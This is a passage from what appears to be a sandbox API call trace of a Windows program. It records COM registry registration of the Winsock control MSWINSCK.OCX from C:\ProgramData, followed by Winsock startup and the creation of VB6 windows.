param_1="{248DD890-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.109] lstrlenA (lpString="{248DD890-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.109] RegSetValueExA (in: hKey=0x782, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="{248DD890-BB45-11CF-9ABC-0080C7E7B78D}", cbData=0x27 | out: lpData="{248DD890-BB45-11CF-9ABC-0080C7E7B78D}") returned 0x0 [0188.110] RegCloseKey (hKey=0x782) returned 0x0 [0188.110] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="Version", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x722, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.111] wsprintfA (in: param_1=0x18e4a0, param_2="%ld.%ld" | out: param_1="1.0") returned 3 [0188.111] lstrlenA (lpString="1.0") returned 3 [0188.111] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="1.0", cbData=0x4 | out: lpData="1.0") returned 0x0 [0188.112] CoCreateInstance (in: rclsid=0x22176c38*(Data1=0x2e005, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x22176c48*(Data1=0x2e012, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e5cc | out: ppv=0x18e5cc*=0x143ce48) returned 0x0 [0188.285] StdComponentCategoriesMgr:ICatRegister:RegisterClassImplCategories (This=0x143ce48, rclsid=0x22171588*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), cCategories=0x1, rgcatid=0x22176c28*(Data1=0x40fc6ed5, Data2=0x2438, Data3=0x11cf, Data4=([0]=0xa3, [1]=0xdb, [2]=0x8, [3]=0x0, [4]=0x36, [5]=0xf1, [6]=0x25, [7]=0x2))) returned 0x0 [0188.287] StdComponentCategoriesMgr:IUnknown:Release (This=0x143ce48) returned 0x0 [0188.287] RegCloseKey (hKey=0x722) returned 0x0 [0188.288] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.289] wsprintfA (in: param_1=0x18e7b4, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.289] wsprintfA (in: param_1=0x18e6b0, param_2="CLSID\\%s" | out: param_1="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 44 [0188.289] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e808 | out: phkResult=0x18e808*=0x2e2) returned 0x0 [0188.289] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="Control", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18e7e0, lpdwDisposition=0x18e804 | out: phkResult=0x18e7e0*=0x782, lpdwDisposition=0x18e804*=0x1) returned 0x0 [0188.291] RegCloseKey (hKey=0x782) returned 0x0 [0188.291] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="MiscStatus", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18e7e0, lpdwDisposition=0x18e804 | out: phkResult=0x18e7e0*=0x722, lpdwDisposition=0x18e804*=0x1) returned 0x0 [0188.291] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="0", cbData=0x2 | out: lpData="0") returned 0x0 [0188.292] RegCreateKeyExA (in: hKey=0x722, lpSubKey="1", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18e7dc, lpdwDisposition=0x18e804 | out: phkResult=0x18e7dc*=0x76e, lpdwDisposition=0x18e804*=0x1) returned 0x0 [0188.293] wsprintfA (in: param_1=0x18e6b0, param_2="%d" | out: param_1="132497") returned 6 [0188.293] lstrlenA (lpString="132497") returned 6 [0188.293] RegSetValueExA (in: hKey=0x76e, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="132497", cbData=0x7 | out: lpData="132497") returned 0x0 [0188.294] RegCloseKey (hKey=0x76e) returned 0x0 [0188.294] RegCloseKey (hKey=0x722) returned 0x0 [0188.294] GetModuleFileNameA (in: hModule=0x22170000, lpFilename=0x18e6b0, nSize=0x104 | out: lpFilename="C:\\ProgramData\\MSWINSCK.OCX" (normalized: "c:\\programdata\\mswinsck.ocx")) returned 0x1b [0188.294] wsprintfA (in: param_1=0x18e7b4, param_2=", %d" | out: param_1=", 1") returned 3 [0188.294] lstrcatA (in: lpString1="C:\\ProgramData\\MSWINSCK.OCX", lpString2=", 1" | out: lpString1="C:\\ProgramData\\MSWINSCK.OCX, 1") returned="C:\\ProgramData\\MSWINSCK.OCX, 1" [0188.294] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="ToolboxBitmap32", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18e7e0, lpdwDisposition=0x18e804 | out: phkResult=0x18e7e0*=0x76e, lpdwDisposition=0x18e804*=0x1) returned 0x0 [0188.295] lstrlenA (lpString="C:\\ProgramData\\MSWINSCK.OCX, 1") returned 30 [0188.295] RegSetValueExA (in: hKey=0x76e, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\MSWINSCK.OCX, 1", cbData=0x1f | out: lpData="C:\\ProgramData\\MSWINSCK.OCX, 1") returned 0x0 [0188.299] CoCreateInstance (in: rclsid=0x22176c38*(Data1=0x2e005, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x22176c48*(Data1=0x2e012, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e800 | out: ppv=0x18e800*=0x143ce48) returned 0x0 [0188.299] StdComponentCategoriesMgr:ICatRegister:RegisterClassImplCategories (This=0x143ce48, rclsid=0x22171588*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), cCategories=0x4, rgcatid=0x18e610*(Data1=0x40fc6ed4, Data2=0x2438, Data3=0x11cf, Data4=([0]=0xa3, [1]=0xdb, [2]=0x8, [3]=0x0, [4]=0x36, [5]=0xf1, [6]=0x25, [7]=0x2))) returned 0x0 [0188.307] StdComponentCategoriesMgr:IUnknown:Release (This=0x143ce48) returned 0x0 [0188.307] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.307] RegCloseKey (hKey=0x76e) returned 0x0 [0188.307] lstrlenA (lpString=0x2) returned 0 [0188.347] wsprintfA (in: param_1=0x18e5ac, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.347] wsprintfA (in: param_1=0x18e4a8, param_2="CLSID\\%s" | out: param_1="CLSID\\{248DD897-BB45-11CF-9ABC-0080C7E7B78D}") returned 44 [0188.347] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{248DD897-BB45-11CF-9ABC-0080C7E7B78D}", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x18e6c0, lpdwDisposition=0x18e6b0 | out: phkResult=0x18e6c0*=0x2e2, lpdwDisposition=0x18e6b0*=0x1) returned 0x0 [0188.348] RegOpenKeyExA (in: hKey=0x2e2, lpSubKey="Implemented Categories", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e6b4 | out: phkResult=0x18e6b4*=0x0) returned 0x2 [0188.348] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.349] wsprintfA (in: param_1=0x18e5b0, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.349] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="CLSID", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e6c0 | out: phkResult=0x18e6c0*=0x2e2) returned 0x0 [0188.349] wsprintfA (in: param_1=0x18e498, param_2="%s\\InprocServer" | out: param_1="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}\\InprocServer") returned 51 [0188.349] RegOpenKeyExA (in: hKey=0x2e2, lpSubKey="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}\\InprocServer", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e5a8 | out: phkResult=0x18e5a8*=0x0) returned 0x2 [0188.349] RegOpenKeyExA (in: hKey=0x2e2, lpSubKey="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e598 | out: phkResult=0x18e598*=0x76e) returned 0x0 [0188.349] RegEnumKeyExA (in: hKey=0x76e, dwIndex=0x0, lpName=0x18e490, lpcchName=0x18e594, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="?", lpcchName=0x18e594, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0188.350] RegCloseKey (hKey=0x76e) returned 0x0 [0188.350] RegDeleteKeyA (hKey=0x2e2, lpSubKey="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}") returned 0x0 [0188.350] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.350] wsprintfA (in: param_1=0x18e7d4, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD897-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.350] wsprintfA (in: param_1=0x18e6d0, param_2="CLSID\\%s" | out: param_1="CLSID\\{248DD897-BB45-11CF-9ABC-0080C7E7B78D}") returned 44 [0188.350] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{248DD897-BB45-11CF-9ABC-0080C7E7B78D}", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e800, lpdwDisposition=0x18e7fc | out: phkResult=0x18e800*=0x76e, lpdwDisposition=0x18e7fc*=0x1) returned 0x0 [0188.351] wsprintfA (in: param_1=0x18e6d0, param_2="%s Object" | out: param_1="Winsock General Property Page Object") returned 36 [0188.351] lstrlenA (lpString="Winsock General Property Page Object") returned 36 [0188.351] RegSetValueExA (in: hKey=0x76e, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="Winsock General Property Page Object", cbData=0x25 | out: lpData="Winsock General Property Page Object") returned 0x0 [0188.352] RegCreateKeyExA (in: hKey=0x76e, lpSubKey="InprocServer32", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e804, lpdwDisposition=0x18e7fc | out: phkResult=0x18e804*=0x722, lpdwDisposition=0x18e7fc*=0x1) returned 0x0 [0188.353] GetModuleFileNameA (in: hModule=0x22170000, lpFilename=0x18e6d0, nSize=0x104 | out: lpFilename="C:\\ProgramData\\MSWINSCK.OCX" (normalized: "c:\\programdata\\mswinsck.ocx")) returned 0x1b [0188.353] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\MSWINSCK.OCX", cbData=0x1c | out: lpData="C:\\ProgramData\\MSWINSCK.OCX") returned 0x0 [0188.354] RegDeleteValueA (hKey=0x722, lpValueName="ThreadingModel") returned 0x2 [0188.355] RegCloseKey (hKey=0x722) returned 0x0 [0188.355] RegCloseKey (hKey=0x76e) returned 0x0 [0188.355] RegisterTypeLib (ptlib=0x146ad80, szFullPath="C:\\ProgramData\\MSWINSCK.OCX", szHelpDir="") returned 0x0 [0188.383] IUnknown:Release (This=0x146ad80) returned 0x0 [0188.385] FreeLibrary (hLibModule=0x22170000) returned 1 [0188.385] GetCurrentThreadId () returned 0x9ec [0188.385] GetCurrentThreadId () returned 0x9ec [0188.385] WSACleanup () returned 0 [0188.473] DestroyWindow (hWnd=0x5027c) returned 1 [0188.520] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0188.521] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0188.521] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0188.521] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14553f0 | out: hHeap=0x1410000) returned 1 [0188.521] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14551c8 | out: hHeap=0x1410000) returned 1 [0188.521] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x1498f50 | out: hHeap=0x1410000) returned 1 [0188.521] UnregisterClassA (lpClassName="NMNotifyWindowClass", hInstance=0x22170000) returned 1 [0188.521] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x1454b50 | out: hHeap=0x1410000) returned 1 [0188.521] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14fe750 | out: hHeap=0x1410000) returned 1 [0188.521] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14f5e28 | out: hHeap=0x1410000) returned 1 [0188.523] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38404b0 | out: hHeap=0x3820000) returned 1 [0188.523] CoGetClassObject (in: rclsid=0x3833884*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), dwClsContext=0x3, pvReserved=0x0, riid=0x72970510*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ed40 | out: ppv=0x18ed40*=0x14658f8) returned 0x0 [0188.531] GetVersion () returned 0x1db10106 [0188.531] GetProcessHeap () returned 0x1410000 [0188.531] DisableThreadLibraryCalls (hLibModule=0x22170000) returned 1 [0188.532] GetSystemMetrics (nIndex=42) returned 0 [0188.532] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x20) returned 0x14f5e28 [0188.532] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0x20c) returned 0x1454b50 [0188.532] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x18) returned 0x1430bf0 [0188.532] RegisterClassA (lpWndClass=0x18d9f4) returned 0x1ac195 [0188.532] GetCurrentThreadId () returned 0x9ec [0188.532] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x18d88c | out: lpWSAData=0x18d88c) returned 0 [0188.538] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x3f8) returned 0x1498f50 [0188.538] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0x20c) returned 0x14551c8 [0188.538] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0x20c) returned 0x14553f0 [0188.538] CreateWindowExA (dwExStyle=0x0, lpClassName="NMNotifyWindowClass", lpWindowName="Notification Window", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x22170000, lpParam=0x0) returned 0x6027c [0188.538] NtdllDefWindowProc_A (hWnd=0x6027c, Msg=0x24, wParam=0x0, lParam=0x18d474) returned 0x0 [0188.538] NtdllDefWindowProc_A (hWnd=0x6027c, Msg=0x81, wParam=0x0, lParam=0x18d468) returned 0x1 [0188.539] NtdllDefWindowProc_A (hWnd=0x6027c, Msg=0x83, wParam=0x0, lParam=0x18d454) returned 0x0 [0188.539] NtdllDefWindowProc_A (hWnd=0x6027c, Msg=0x1, wParam=0x0, lParam=0x18d468) returned 0x0 [0188.539] SetWindowLongA (hWnd=0x6027c, nIndex=0, dwNewLong=21598032) returned 0 [0188.539] GetCurrentThreadId () returned 0x9ec [0188.539] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0xfa0) returned 0x14fe750 [0188.540] DllGetClassObject (in: rclsid=0x1437410*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), riid=0x18e9e0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e098 | out: ppv=0x18e098*=0x14658f8) returned 0x0 [0188.540] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0xc) returned 0x14658f8 [0188.540] Winsock:IUnknown:AddRef (This=0x14658f8) returned 0x2 [0188.540] Winsock:IUnknown:Release (This=0x14658f8) returned 0x1 [0188.540] Winsock:IUnknown:QueryInterface (in: This=0x14658f8, riid=0x72970510*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ec58 | out: ppvObject=0x18ec58*=0x14658f8) returned 0x0 [0188.540] Winsock:IUnknown:Release (This=0x14658f8) returned 0x1 [0188.541] lstrlenW (lpString="2c49f800-c2dd-11cf-9ad6-0080c7e7b78d") returned 36 [0188.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="2c49f800-c2dd-11cf-9ad6-0080c7e7b78d", cchWideChar=-1, lpMultiByteStr=0x18ec7c, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2c49f800-c2dd-11cf-9ad6-0080c7e7b78d", lpUsedDefaultChar=0x0) returned 37 [0188.541] RegOpenKeyA (in: hKey=0x80000000, lpSubKey="Licenses", phkResult=0x18ec58 | out: phkResult=0x18ec58*=0x77a) returned 0x0 [0188.541] RegOpenKeyA (in: hKey=0x77a, lpSubKey="2c49f800-c2dd-11cf-9ad6-0080c7e7b78d", phkResult=0x18ec68 | out: phkResult=0x18ec68*=0x0) returned 0x2 [0188.541] RegCloseKey (hKey=0x77a) returned 0x0 [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x134) returned 0x14fa2e0 [0188.542] lstrlenA (lpString="") returned 0 [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x1) returned 0x14b1d68 [0188.542] lstrcpyA (in: lpString1=0x14b1d68, lpString2="" | out: lpString1="") returned="" [0188.542] lstrlenA (lpString="") returned 0 [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x1) returned 0x14b1d18 [0188.542] lstrcpyA (in: lpString1=0x14b1d18, lpString2="" | out: lpString1="") returned="" [0188.542] lstrlenA (lpString="") returned 0 [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x1) returned 0x14b1bf8 [0188.542] lstrcpyA (in: lpString1=0x14b1bf8, lpString2="" | out: lpString1="") returned="" [0188.542] lstrlenA (lpString="") returned 0 [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x1) returned 0x14b1d88 [0188.542] lstrcpyA (in: lpString1=0x14b1d88, lpString2="" | out: lpString1="") returned="" [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x728) returned 0x53a6c70 [0188.542] GetCurrentThreadId () returned 0x9ec [0188.542] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x4c) returned 0x14cc628 [0188.542] GetCurrentThreadId () returned 0x9ec [0188.543] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x728) returned 0x14ff6f8 [0188.543] GetCurrentThreadId () returned 0x9ec [0188.543] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0xc) returned 0x14658e0 [0188.543] LoadBitmapA (hInstance=0x22170000, lpBitmapName=0x1) returned 0xd0509e1 [0188.543] GetObjectA (in: h=0xd0509e1, c=24, pv=0x18ecb0 | out: pv=0x18ecb0) returned 24 [0188.543] GetSystemMetrics (nIndex=45) returned 2 [0188.543] GetSystemMetrics (nIndex=46) returned 2 [0188.543] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x28) returned 0x383bb28 [0188.545] GetDC (hWnd=0x0) returned 0x15010a6c [0188.545] GetDeviceCaps (hdc=0x15010a6c, index=88) returned 96 [0188.545] GetDeviceCaps (hdc=0x15010a6c, index=90) returned 96 [0188.545] ReleaseDC (hWnd=0x0, hDC=0x15010a6c) returned 1 [0188.545] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14ff6f8 | out: hHeap=0x1410000) returned 1 [0188.545] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14658e0 | out: hHeap=0x1410000) returned 1 [0188.545] GetCurrentThreadId () returned 0x9ec [0188.545] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14cc628 | out: hHeap=0x1410000) returned 1 [0188.545] lstrlenW (lpString=0x0) returned 0 [0188.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=0x0, cchWideChar=-1, lpMultiByteStr=0x18ebb4, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 0 [0188.545] lstrlenA (lpString="") returned 0 [0188.545] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x1) returned 0x14b1d98 [0188.545] lstrcpyA (in: lpString1=0x14b1d98, lpString2="" | out: lpString1="") returned="" [0188.546] HeapFree (in: hHeap=0x1410000, dwFlags=0x0, lpMem=0x14b1d88 | out: hHeap=0x1410000) returned 1 [0188.546] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x4c) returned 0x14cc628 [0188.546] GetCurrentThreadId () returned 0x9ec [0188.546] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x728) returned 0x14ff6f8 [0188.546] GetCurrentThreadId () returned 0x9ec [0188.546] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0xc) returned 0x14658e0 [0188.546] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x38404b0 [0188.546] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ecd8 [0188.546] lstrlenA (lpString="ThunderRT6") returned 10 [0188.546] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0188.547] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc16c, lpWindowName=0x0, dwStyle=0x44010000, X=464, Y=248, nWidth=0, nHeight=0, hWndParent=0x60106, hMenu=0x2, hInstance=0x72940000, lpParam=0x0) returned 0x30284 [0188.547] NtdllDefWindowProc_A (hWnd=0x30284, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.547] NtdllDefWindowProc_A (hWnd=0x30284, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0188.547] NtdllDefWindowProc_A (hWnd=0x30284, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x0 [0188.547] NtdllDefWindowProc_A (hWnd=0x30284, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0188.547] NtdllDefWindowProc_A (hWnd=0x30284, Msg=0x3, wParam=0x0, lParam=0xf801d0) returned 0x0 [0188.548] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x3840598 [0188.548] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ed38 [0188.548] lstrlenA (lpString="ThunderRT6") returned 10 [0188.548] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0188.548] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc16c, lpWindowName=0x0, dwStyle=0x44010000, X=432, Y=248, nWidth=0, nHeight=0, hWndParent=0x60106, hMenu=0x3, hInstance=0x72940000, lpParam=0x0) returned 0x3027e [0188.548] NtdllDefWindowProc_A (hWnd=0x3027e, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.548] NtdllDefWindowProc_A (hWnd=0x3027e, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0188.548] NtdllDefWindowProc_A (hWnd=0x3027e, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x0 [0188.548] NtdllDefWindowProc_A (hWnd=0x3027e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0188.549] NtdllDefWindowProc_A (hWnd=0x3027e, Msg=0x3, wParam=0x0, lParam=0xf801b0) returned 0x0 [0188.549] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x3840680 [0188.549] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ed58 [0188.549] lstrlenA (lpString="ThunderRT6") returned 10 [0188.549] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0188.549] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc192, lpWindowName=0x0, dwStyle=0x448100e0, X=432, Y=224, nWidth=97, nHeight=19, hWndParent=0x60106, hMenu=0x4, hInstance=0x72940000, lpParam=0x0) returned 0x30296 [0188.549] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.549] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0188.550] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.550] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0188.550] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x5, wParam=0x0, lParam=0x130061) returned 0x0 [0188.550] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x3, wParam=0x0, lParam=0xe001b0) returned 0x0 [0188.551] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x383ed78 [0188.551] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x1 [0188.551] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0188.551] ShowWindow (hWnd=0x30296, nCmdShow=5) returned 0 [0188.551] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30296, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0188.551] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x3840780 [0188.551] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ed98 [0188.551] lstrlenA (lpString="ThunderRT6") returned 10 [0188.551] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0188.551] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc192, lpWindowName=0x0, dwStyle=0x448100e0, X=432, Y=200, nWidth=97, nHeight=19, hWndParent=0x60106, hMenu=0x5, hInstance=0x72940000, lpParam=0x0) returned 0x20274 [0188.551] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.552] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0188.552] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0188.552] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0188.552] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x20274, Msg=0x5, 